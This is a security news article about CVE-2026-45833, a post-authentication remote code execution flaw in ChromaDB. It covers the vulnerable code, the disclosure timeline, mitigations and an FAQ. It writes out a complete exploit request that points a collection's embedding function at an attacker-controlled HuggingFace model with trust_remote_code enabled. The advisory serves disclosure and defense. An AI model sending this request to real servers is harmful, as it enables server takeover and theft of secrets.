CVE-2026-45833: ChromaDB RCE Flaw Lets Attackers Run Malicious Code

A critical post-authentication remote code execution vulnerability in ChromaDB tracked as CVE-2026-45833 allows any authenticated user with UPDATE_COLLECTION permission to achieve full server compromise by pointing a collection’s embedding function at a malicious HuggingFace model.

With a CVSS 4.0 score of 9.4 (Critical), this flaw affects every Python-based ChromaDB deployment from version 0.4.17 through the latest release and remains unpatched as of publication.

ChromaDB is one of the most widely adopted open-source vector databases in the AI/ML ecosystem, recording over 13 million monthly pip downloads and more than 27,500 GitHub stars.

It powers semantic search and retrieval-augmented generation (RAG) workflows for companies including Mintlify, Weights & Biases, Factory AI, Capital One, and UnitedHealthcare.

Its popularity across enterprise AI infrastructure makes vulnerabilities in ChromaDB exceptionally high-impact a compromise of the database layer can expose AI embeddings, API keys, proprietary datasets, and downstream application secrets.

This is the second critical ChromaDB vulnerability disclosed by HiddenLayer security researcher Esteban Tonglet within the same disclosure cycle, following CVE-2026-45829, a pre-authentication RCE published on May 18, 2026.

CVE-2026-45833 represents a distinct but related attack path that survives even after the auth-ordering defect from CVE-2026-45829 is corrected.

The vulnerability lives in the update_collection endpoint of ChromaDB’s Python FastAPI server. Unlike the pre-auth variant, CVE-2026-45833 requires a valid bearer token with UPDATE_COLLECTION permission but once that permission threshold is cleared, authentication provides no further protection against code execution.

In the V2 API, the process_update_collection function in chromadb/server/fastapi/__init__.py (lines 883–919) correctly performs the authentication check first.

However, it then calls load_update_collection_configuration_from_json(), which internally invokes the identical build_from_config() method used during collection creation. This function blindly instantiates the embedding function specified in the request body:

pythonef = known_embedding_functions[json_map["embedding_function"]["name"]]
result["embedding_function"] = ef.build_from_config(
    json_map["embedding_function"]["config"]  # Model instantiation — unguarded
)

There is no validation on the model_name value or the kwargs dictionary passed to the underlying HuggingFace loader. This means an attacker can supply trust_remote_code: true alongside a malicious model name, and the server will obediently download and execute attacker-controlled Python code from HuggingFace Hub.

An attacker with a valid token sends a crafted PUT request to update any existing collection:

PUT /api/v2/tenants/default_tenant/databases/default_database/collections/{collection_id}
Authorization: Bearer <valid-token>
Content-Type: application/json

{
    "new_configuration": {
        "embedding_function": {
            "name": "sentence_transformer",
            "type": "known",
            "config": {
                "model_name": "attacker-org/backdoored-model",
                "device": "cpu",
                "normalize_embeddings": false,
                "kwargs": {"trust_remote_code": true}
            }
        }
    }
}

ChromaDB validates that kwargs values are primitive types, a boolean passes without being stripped, allowing trust_remote_code: true to flow directly into AutoModel.from_pretrained().

The same flaw exists in the V1 API endpoint (__init__.py lines 1920–1959), which cannot be disabled, closing any hope of patching one path while leaving the other open.

The trust_remote_code flag instructs HuggingFace’s transformers library to download and execute Python module files shipped inside a model repository.

It exists for legitimate use cases; some model architectures require custom code, but it means that whoever controls the model repository controls what runs on any machine that loads it with this flag set. A model is not passive data; it is code.

Upon successful exploitation, an attacker gains full control of the ChromaDB server process, enabling theft of environment variables, mounted secrets, API keys, stored vector embeddings, and lateral movement into connected AI pipelines.

The disclosure timeline reflects a deeply concerning pattern of non-response:

• February 17, 2026 — Initial disclosure to ChromaDB via their official security page
• February 24, 2026 — Follow-up via additional Trychroma email addresses
• March 5, 2026 — Attempted contact through IT-ISAC
• April 16, 2026 — Final follow-up across all previous channels and social media
• May 18, 2026 — Public disclosure of CVE-2026-45829 (pre-auth RCE), still no vendor response
• June 12, 2026 — Public disclosure of CVE-2026-45833

Nearly four months elapsed between the initial disclosure and the public release, with zero acknowledgment from the ChromaDB team. This forced full public disclosure without a coordinated patch, leaving millions of deployments exposed.

Mitigations

Since no official patch exists, security teams should apply the following mitigations immediately:

• Switch to the Rust-based deployment path (chroma run or official Docker Hub images since version 1.0.0) the Rust frontend does not process Python embedding function instantiation and is not affected by this vulnerability
• Restrict network access to the ChromaDB port to trusted internal clients only; under no circumstances should the Python FastAPI server be internet-exposed
• Audit UPDATE_COLLECTION permissions across all tenants and reduce the number of accounts holding this privilege to the absolute minimum
• Monitor HuggingFace model references in collection configurations for unexpected or external model names
• Implement network egress filtering to prevent the ChromaDB process from reaching HuggingFace Hub or other external model registries

FAQ

Q1: Does CVE-2026-45833 require authentication to exploit?
Yes, unlike the related CVE-2026-45829, this flaw requires a valid bearer token with UPDATE_COLLECTION permission, making it a post-authentication RCE rather than a pre-auth vulnerability.

Q2: Which ChromaDB versions are vulnerable?
All Python-based ChromaDB deployments from version 0.4.17 through the current latest release are affected; the Rust-based deployment path is not impacted.

Q3: Is there an official patch available?
No. As of June 13, 2026, ChromaDB has not released a patch or acknowledged the vulnerability despite a nearly four-month responsible disclosure window.

Q4: What makes trust_remote_code: true so dangerous in this context?
It instructs HuggingFace’s transformers library to download and execute arbitrary Python code from any attacker-controlled model repository, turning a routine model-loading call into a remote code execution primitive with no restrictions.

Site: thecybrdef.com

For more insights and updates, follow us on Google News, Twitter, and LinkedIn.

About the Author

John

Author

John is an independent cybersecurity researcher covering vulnerabilities, malware campaigns, and emerging threats in the cybersecurity landscape.

Visit Website View All Posts